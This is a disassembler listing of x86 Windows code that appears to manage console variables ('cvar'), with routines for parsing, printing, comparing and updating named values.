; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B0B0	proc near		; CODE XREF: sub_4019F1j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B0B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401749
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401BF4
sub_40B0B0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43E020
		call	sub_401BEF
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B170	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43E020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401BEF
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401555
sub_40B170	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B210	proc near		; CODE XREF: sub_4017EEj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401BEF
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40B210	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B390	proc near		; CODE XREF: sub_40180Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FBE
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FBE
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F32
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FBE
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401906
sub_40B390	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B430	proc near		; CODE XREF: sub_401B5Ej

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401861
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401861
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401861
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40180C
sub_40B430	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B520	proc near		; CODE XREF: sub_4019CEj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_40153C
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401451
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B5A1
		mov	edi, [esp+10h+arg_0]


loc_40B566:				; CODE XREF: sub_40B520+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021AD
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B5AB
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B566


loc_40B5A1:				; CODE XREF: sub_40B520+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B5AB:				; CODE XREF: sub_40B520+60j
		call	sub_401F5A
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B520	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B5F0:				; CODE XREF: ___:00401456j
		push	0FFFFFFFFh
		push	offset loc_438BF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401861
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019CE
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B680	proc near		; CODE XREF: sub_401596j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B6D1
		mov	byte ptr [esi+19h], 1


loc_40B6D1:				; CODE XREF: sub_40B680+4Bj
		pop	esi
		retn	8
sub_40B680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B700	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B755
		mov	byte ptr [esi+19h], 1


loc_40B755:				; CODE XREF: sub_40B700+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B790:				; CODE XREF: ___:00401D43j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43E024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B7E1
		mov	byte ptr [esi+19h], 1


loc_40B7E1:				; CODE XREF: ___:0040B7DBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B810:				; CODE XREF: ___:00401C94j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B840
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015D7
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B840:				; CODE XREF: ___:0040B818j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015D7
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B880:				; CODE XREF: ___:00401D6Bj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4437F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B8B0
		mov	byte ptr [esi+19h], 1


loc_40B8B0:				; CODE XREF: ___:0040B8AAj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8D0:				; CODE XREF: ___:loc_401ACDj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_438C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BA12
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_40153C
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BA0B


loc_40B976:				; CODE XREF: ___:0040BA05j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F5A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017E4
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		push	5DCh
		call	near ptr 2801E3Fh
		nop
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40B976


loc_40BA0B:				; CODE XREF: ___:0040B970j
		mov	al, 1
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BA12:				; CODE XREF: ___:0040B907j
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BAA5
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BAA5:				; CODE XREF: ___:0040BA24j
		lea	ecx, [ebp+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BB98
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014C9
		mov	ebx, 2
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F32
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: ___:0040BA60j
					; ___:0040BAB7j ...
		xor	al, al


loc_40BB9A:				; CODE XREF: ___:0040BA0Dj
					; ___:0040BAA0j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BC70	proc near		; CODE XREF: sub_401BF4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021CB
sub_40BC70	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BCB0	proc near		; CODE XREF: sub_401555j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FCD
sub_40BCB0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD20	proc near		; CODE XREF: sub_401451j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD60	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_401906j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C71
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C49
sub_40BD90	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDD0	proc near		; CODE XREF: sub_401BEFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BDD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE20	proc near		; CODE XREF: sub_40153Cj
		push	esi
		mov	esi, ecx
		call	sub_40213A
		mov	eax, esi
		pop	esi
		retn
sub_40BE20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401F5Aj
		mov	eax, [ecx]
		push	eax
		call	sub_401839
		add	esp, 4
		retn
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE60	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BE60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE90	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CE9
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BE90	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BEC0	proc near		; CODE XREF: sub_401C49j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016A4
		mov	edi, eax
		push	edi
		call	sub_40213F
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021CB
sub_40BEC0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40213F
		push	edi
		mov	[eax], ebx
		call	sub_40213F
		mov	edi, [eax]
		push	edi
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401839
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F14
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF60	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40BFBA


loc_40BF78:				; CODE XREF: sub_40BF60+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B86
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40BF78
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40BF60+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40BF60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFF0	proc near		; CODE XREF: sub_4021CBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_40155F
sub_40BFF0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C005
		mov	edi, esi


loc_40C005:				; CODE XREF: ___:0040C001j
		push	esi
		call	sub_4020F9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C01A
		mov	edi, esi


loc_40C01A:				; CODE XREF: ___:0040C016j
		push	esi
		call	sub_40213F
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


